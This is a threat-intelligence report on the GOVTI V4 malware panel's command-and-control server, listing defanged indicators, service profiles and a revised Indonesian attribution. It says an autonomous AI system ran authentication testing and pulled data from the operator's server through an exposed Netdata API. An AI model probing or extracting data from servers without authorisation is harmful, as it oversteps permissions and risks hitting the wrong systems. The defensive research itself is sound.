This investigation was triggered by @malwrhunterteam's discovery of the GOVTI V4 panel and @smica83's submission of the FUD sample to MalwareBazaar. Full binary analysis, infrastructure mapping, capability enumeration, authentication testing, and secondary server reconnaissance were produced by Breakglass Intelligence's autonomous GHOST investigation system. All evidence was captured via passive and semi-passive methods. Chinese attribution is assessed at HIGH confidence based on 30+ Simplified Chinese strings in the binary, GoatCounter timezone CN.Asia/Shanghai, Chinese platform targeting, and build environment analysis.
Updated April 2, 2026 with deep dive findings: secondary server Netdata exposure, Chinese attribution evidence, pre-shared key extraction, and GitHub dead-drop analysis.
Breakglass Intelligence | April 2, 2026
Secondary Server Total Dump (April 2, 2026)
Complete intelligence extraction from 154[.]26[.]129[.]99 via unauthenticated Netdata API. 67 files, 5.4MB of data.
ATTRIBUTION CORRECTION: Indonesian Operator, Not Chinese
The server's actual timezone is WIB (Western Indonesia Time, UTC+7) — not Shanghai. Activity patterns (SSHD CPU, PostgreSQL processing, Redis operations) peak during 07:00-12:00 WIB and bottom out 23:00-03:00 WIB, consistent with an Indonesian operator's work schedule.
The GoatCounter Shanghai timezone was likely set to match the Chinese-targeting nature of the malware, not the operator's actual location. The 30+ Chinese strings in the binary target Chinese victims and infrastructure, but the operator works Indonesian hours.
Revised attribution: Indonesian operator targeting Chinese-speaking victims/infrastructure. MEDIUM-HIGH confidence.
Redis: The C2 Message Broker
LPUSH/LPOP queue pattern at 15-17 ops/sec with 16 persistent client connections. 101 keys (91 with TTL expiration). Lua scripts loaded for atomic operations. 6 Mbps outbound with a 13:1 out/in ratio. This is the task distribution engine for the entire botnet.
SSHD: Tunnel Farm (Not Admin Access)
57.7% CPU, 4.2 GB RAM, 573 threads, 473 open sockets and 473 pipes. This is SSH operating as VPN/relay infrastructure handling hundreds of concurrent tunneled bot connections.
PostgreSQL: Victim Data Processor
104.6% CPU (more than a full core), 160 PIDs, 3,518 kbps outbound with only 98 kbps inbound (36:1 ratio). Processing ingested victim data and pushing results.
24/7 Exfiltration
Consistent 500+ kbps outbound baseline that never drops, even at 3 AM operator time. Docker outbound peaks at 10+ Mbps.
Custom Services
dns_update(7 PIDs, 9.6% CPU) — likely the dynamic DNS/dead-drop C2 update mechanismstart_boot(running since boot, 7 network sockets) — botnet initialization
Server Profile
- Booted: January 25, 2026 (66.5 days continuous)
- 6 Docker containers: postgres-docker, redis, mongodb, portainer, pgbouncer (exited), redis6380 (staged)
- 9 PHP versions (7.1-8.4), nginx, Varnish, MySQL x2, Memcached, Postfix, ProFTPD, CloudPanel
- 1 remote console session in closing state (operator recently active)
Additional IOCs
- Hostname: vmi2498248
- Netdata UID: 03415428-c09f-4d0d-9133-edda3fd8b534
- Netdata Node ID: 64dc65dd-9806-45e2-8a83-3bd4976a14cb
- Netdata Claim ID: 4677c6f2-290e-4d92-a8e7-5807f5fbce53
- Portainer Instance: 6c0df2ee-98ce-4e47-98a7-d636986d73b9
- Custom services: dns_update, start_boot
- Timezone: WIB (UTC+7, Indonesia)
67 files of evidence extracted via Netdata API. Full dump at ghost-remote:/home/fgbot/investigations/govti-v4-panel/secondary-server-dump/